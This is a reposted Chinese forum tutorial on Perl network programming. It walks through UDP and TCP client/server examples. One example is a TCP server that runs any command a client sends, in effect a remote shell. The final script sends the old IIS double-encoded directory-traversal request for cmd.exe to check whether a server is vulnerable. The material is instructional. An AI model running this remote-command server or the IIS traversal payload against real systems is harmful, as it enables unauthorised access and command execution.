返回列表 回复 发帖
所需阅读权限 1

[转帖]Perl网络编程

Perl很强大,不仅能开发CGI方面的程序,还可以用它进行网络程序的开发。Perl使网络编程更简单,开发速度更快。目前Perl应用范围除了系统维护,程序运行时配置CGI(现在应用的很少了),便是用来进行hacker脚本的编写。Perl脚本的特点是 “简练而强大”,非常适合写Exploit。在网络上可以找到很多国外hacker用Perl写的Exploit程序,而在国内就少了很多。由于大部分Exploit程序都是网络方面的程序,因此本文将介绍如何使用Perl进行网络编程,通过一些小的例子来让大家熟悉Perl的网络编程。本文不会涉及到具体漏洞利用的脚本,只是把Perl网络编程的一些基本概念介绍给大家。
希望大家能从本文中得到一些您需要的知识。
本文的约定:使用的IP地址为本地地址,所有程序均在ActivePerl5.61版测试通过。
本地IP:127.0.0.1
一、 几个网络方面的基本概念
本文主要针对初学者,所以本文在概念介绍上也将尽量使语言描述的通俗易懂,本文后面要涉及到的几个网络方面的基本概念如下:
协议:所谓的协议就是对进行通讯传输的2台计算机之间的应该共同遵守的一个行为准则或称行为规范。
TCP/IP协议:是定义了网络传输的一个协议。
UDP:用户数据报协议。UDP协议是TCP/IP协议组中传输层的协议,负责对网络传输进行控制。UDP具有不可靠性,但是手续简单。
套接字:套接字是一个类似于文件的句柄.通过建立套接字就可以对套接字进行读写操作。
二、走进Perl
Perl的函数Socket的格式为:Socket(FILE,Domain,Type,Protocol);
其中:
FILE 绑定一个套接字句柄(类似于打开文件的句柄);
Domain 表示套接字的协议域类型。它可以定义为Internet域,其值为2,也可以定义为UNIX域,如果把这个变量赋值为1表示域的类型为UNIX域。如果这个变量付值为2,则表示定义类型为Internet。我们常用的是的套接字协议族为Internet协议族。
Type 表示套接字类型,定义为SOCK_STREAM类型,表示的是基于流传输模式的TCP套接字。定义为SOCK_DGRAM类型,表示为基于简单数据传递的UDP套接字。
Protocol 表示套接字的协议号,这个协议号可以通过Perl内置函数getprotobyname()得到。
三、第一个例子
例子介绍:
下面这个程序实是一个简单的使用udp协议的服务器程序,服务端程序在端口上监听,当有客户连接后它将返回一个数据给客户程序。
#注:如图1-1
1.UDP程序服务端
<1 &#35;!/usr/bin/Perl
<2 use strict;
<3 my &#36F_INET=2;
<4 my &#36;SOCK_DGRAM=2;
<5 my &#36;port=2222;
<6 my &#36;proto=getprotobyname(';udp';);
<7 my &#36;addres=pack(';SnC4x8';,&#36F_INET,&#36;port,127,0,0,1);
<8 my (&#36;Cmd,&#36;test);
<9 socket(SOCKET,&#36F_INET,&#36;SOCK_DGRAM,&#36;proto) or die "Can';t build a socket";
<10 bind (SOCKET,&#36;addres);
<11 &#36;test="test\n";
<12 while(1){
<13 my &#36;rip=recv (SOCKET,&#36;Cmd,100,0);
<14 send (SOCKET,&#36;test,0,&#36;rip);
<15 print "&#36;Cmd";
<16     }
原代码解析:
<1  Perl解释器的路径。
<2  使用严格的语法书写程序。
<3  定义为Internet域套接字。
<4  定义套接字类型为UDP。
<5  定义程序的进程端口(这样客户程序才能连接到远程的服务程序)。
<6  得到协议号,这里是使用getprotobyname函数得到UDP的协议号。
<7  声明变量。
<8  &#36;addres定义了一个机器的地址(这个地址就是机器辨认其他机器的标志),这个地址为16字节.利用函数pack()把他转化为2进制格式.(&#36;PF_INET)协议域是一个16位(2字节)无符号短整数值;(&#36;port)进程端口是一个16位短整形;IP地址是4个8位无符号字符.因为一个完全的地址值是16字节,所以必须要用8个空字节补齐。
<9  建立一个套接字。
<10 绑定一个套接字(因为一个外部的机器必须知道你的具体位置,所以程序必须建立一个进程的端口号,这样外部的机器才能连接到这个服务程序)
<11~16 建立一个真循环,不停地接收外部消息,通过recv函数得到消息(这个函数的返回值是远程客户的地址,通过该地址可以进行服务器和客户进行数据传输),在通过send函数与远程主机进行通讯。
四、第二个例子
例子介绍:
下面的程序是一个使用udp协议的客户端程序,客户端程序主动连接服务端,如果网络连通或不发生数据报丢失,将会得到服务器端的返回的数据。
下面我们看看使用tcp的例子,客户端程序是远程执行服务端命令的C/S结构的程序。服务端程序绑定一个端口,处理客户断的请求,并把处理后的数据返回给客户端,客户端程序通过发送一条消息给远程主机,并执行远程主机的dos命令,得到远程服务器的返回消息。
下面我们来看看代码:
2.UDP程序客户端
<1 &#35;!/usr/bin/Perl
<2 use strict;
<3 my &#36;PF_INET=2;
<4 my &#36;SOCK_DGRAM=2;
<5 my &#36;port=2222;
<6 my &#36;proto=getprotobyname(';udp';);
<7 my &#36;data;
<8 my &#36;addres=pack(';SnC4x8';,&#36;PF_INET,&#36;port,127,0,0,1);
<9 socket(SOCKET,&#36;PF_INET,&#36;SOCK_DGRAM,&#36;proto) or die "Can';t build a socket";
<10 bind (SOCKET,&#36;addres);
<11 send (SOCKET,&#36;ARGV[0],0,&#36;addres) or die "send false";
<12 recv (SOCKET,&#36;data,200,0);
<13 print "&#36;data\n";
<14 if (&#36;data) {
<15 send (SOCKET,"Test",0,&#36;addres) ;
<16      }
客户端程序非常简单,唯一不同的是不建立循环等待连接.
五、第三个例子
例子介绍:
下面的程序是使用tcp协议的服务端程序,当客户端程序连接服务端程序,服务端程序根据请求的数据返回服务端上的相应数据,这里是返回的是在服务端执行的dos命令的数据,例如c:\>client.pl \dir c:,将返回服务端执行dir c:后的数据给客户端程序。
3.Tcp程序服务端
<1 &#35;!/usr/bin/Perl
<2 &#35;testservers
<3 &#35;servers.pl
<4 &#35;
<5 use strict;
<6 my &#36;face=qq~
<7 &#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;
<8 &#35;                                                              
<9 &#35;Perl_CMD                           
<10 &#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;&#35;
<11 ~;
<12 print &#36;face;
<13 undef &#36;face;
<14 my &#36;port=23456;
<15 my &#36;PF_INET=2;
<16 my &#36;SOCK_STREAM=1;
<17 my &#36;proto=getprotobyname("tcp");
<18 my &#36;ADDR=pack (';SnC4x8';,&#36;PF_INET,&#36;port,127,0,0,1);
<19 my &#36;command;
<20 &#36;|=1;
<21 socket (SERVERS,&#36;PF_INET,&#36;SOCK_STREAM,&#36;proto) or die "can';t build a socket";
<22 bind (SERVERS,&#36;ADDR ) or die "can';t bind a SOCK";
<23 listen(SERVERS,2);
<24 for ( ;my &#36;paddr=accept(CLINET,SERVERS) ;) {
<25  recv (CLINET,&#36;command,240,0);
<26  print &#36;command;
<27  if (&#36;command and &#36;command=~/^\/\//) {
<28     my @turndate=&dir(&#36;command);
<29   foreach my &#36;onedate (@turndate) {
<30   send ( CLINET ,&#36;onedate ,0);}
<31  }else{
<32 print CLINET "Error CMD format\n";
<33   }
<34
<35 }
<36 close CLIENT;
<37 sub dir {
<38 my &#36;cmd=shift;
<39 &#36;cmd=~s/^\/\/(.*)//;
<40 my @turncmd=`&#36;cmd`;
<41 return @turncmd;
<42     }
原代码解析:
<1~13  定义一些程序中使用的变量,并赋初始值.使用use strict强制程序使用Perl的严格语法。
<14  定义服务端程序绑定的端口号。
<15   定义协议域为Internet类型。
<16 定义套接字类型为TCP。
<17 取得协议。
<18 对程序中使用的地址进行打包。
<19 定义一个取得客户端发来的数据的变量。
<20 关闭Perl的内部缓冲区,这样使我们的消息能够得到更高的优先级,立即把消息发送到远程主机。
<21 建立套接字。
<22 在本地绑定一个端口 ,这样远程的机器在连接程序的时候才能知道连接到底是哪个进程。
<23 允许在这个套接字上等待的队列数量。
<24 建立真循环,并接受请求,并把请求的地址绑定成一个文件句柄。
<25 通过accept函数得到句柄得到请求的数据。
<26 使用recv函数,取得连接的远程主机的消息。
<27 做判断,看是否是使用了内部约定的命令格式。
<28 执行命令。        
<29~35 把处理后的数据返回给连接的客户端 。
<36 关闭与这个远程主机的连接。
<37~43 执行dos命令的子函数。

六、第四个例子
例子介绍:
下面的程序是使用tcp协议的客户端程序,当脚本servers.pl程序被运行后,它会在远程等待客户程序的连接,我们这里的clinet.pl脚本就是针对上面程序写的客户端程序。例如:在dos命令输入c:\>perl clinet.pl \dir c:\ 这样服务器将返回远程主机c:\的下的所有目录的名字。
4.客户端程序
Tcp Programming  
<1 &#35;!/usr/bin/Perl
<2 &#35;testclinet
<3 &#35;clinet.pl
<4 &#35;
<5 use strict;
<6 my &#36;port=23456;
<7 my &#36;PF_INET=2;
<8 my &#36;SOCK_STREAM=1;
<9 my &#36;proto=getprotobyname("tcp");
<10 &#36;|=1;
<11 my &#36;ADDR=pack(';SnC4x8';,&#36;PF_INET,&#36;port,127,0,0,1);
<12 socket (SOCKET,&#36;PF_INET,&#36;SOCK_STREAM,&#36;proto) or die "cna';t socket";
<13 connect (SOCKET,&#36;ADDR) or die "cna';t link";
<14 my &#36;cmd=join ("\t",&#64;ARGV);
<15 send (SOCKET,"&#36;cmd",0);
<16 while(<SOCKET>) {
<17  print &#36;_;
<18 };
原代码解析:
<1~9  得到请求主机的端口,取得程序使用协议域,套接字类型,协议号等。
<10  关闭缓冲,使数据立刻发送出去,而不是放在本地的Perl缓冲区里。
<11  转换IP地址。
<12  建立套接字。
<13  连接远程主机。
<15  发送消息到远程主机。
<16~18 对远程主机的响应进行处理。
七、一个测试IIS漏洞的例子
例子介绍:
下面的程序是通过连接远程主机的ip地址,通过与主机建立tcp连接,并发送http的内部命令get和特殊编码的数据来测试远程的IIS服务器是否存在漏洞.
5.测试IIS漏洞程序
<1 &#35;!/Perl/bin/Perl -w
<2 use strict;
<3 my &#36;port=80;
<4 my &#36;PF_INET=2;
<5 my &#36;SOCK_STREAM=1;
<6 my &#36;proto=getprotobyname("tcp");
<7 my &#36;open_or_close;
<8 &#36;|=1;
<9 my &#36;addres=pack(';SnC4x8';,&#36;PF_INET,&#36;port,127,0,0,1);
<10 socket (SOCKET,&#36;PF_INET,&#36;SOCK_STREAM,&#36;proto) or die "cna';t socket";
<11 connect (SOCKET,&#36;addres) or die "cna';t link";
<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0\n\n",0);
<13 while(<SOCKET>) {
<14  if (m/Directory/){
<15  &#36;open_or_close=1;
<16   }
<17 }
<18 if (&#36;open_or_close eq "1") {
<19  print "This IIS have the bug\n";
<20 }else{
<21  print "This IIS havn';t the bug\n";
<21 }
原代码解析:
这里我只解析几个和实现验证IIS是否存在漏洞相关的程序片段。
<11 这里是连接远程主机的80端口(通常这个端口是分配给http服务)。
<12 通过与远程主机建立的套接字,发送一个http协议的命令“GET”给远程主机。
<13 得到远程主机返回的数据。
<14 进行测试,判断时候包含“Directory”字符,如果包含,就说明这个机器有这个漏洞。
<15~21 程序通过对变量&#36;open_or_close的判断,验证IIS是否存在漏洞。当&#36;open_or_close为”0”时表示IIS没有漏洞,为”1”时表示程序发现IIS存在漏洞。

                     我是一个呼吸着现在的空气而生活在过去的人
               这样的注定孤独,孤独的身处闹市却犹如置身于荒漠
                                     我已习惯了孤独,爱上孤独
                                 他让我看清了自我,还原了自我
                             让我再静静的沉思中得到快乐和满足
                                   再孤独的世界里我一遍又一遍
                                   不厌其烦的改写着自己的过去
                                             延伸到现在与未来
                                       然而那只是泡沫般的美梦
                                 产生的时刻又伴随着破灭的到来
                         在灰飞烟灭的瞬间我看到的是过程的美丽
                                      而不是结果的悲哀。。。
返回列表